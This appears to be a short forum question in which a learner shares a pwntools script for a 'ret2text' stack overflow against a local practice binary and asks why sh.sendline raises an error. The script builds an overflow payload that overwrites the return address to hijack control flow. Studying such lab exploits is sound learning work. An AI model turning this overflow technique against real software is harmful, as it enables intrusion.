I am trying to run the following exploit but i am getting the error mentioned above.
#!/usr/bin/env python
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * 108 + "junk" + p32(target))
sh.interactive()
I expected this to run correctly but i am getting the error in sh.sendline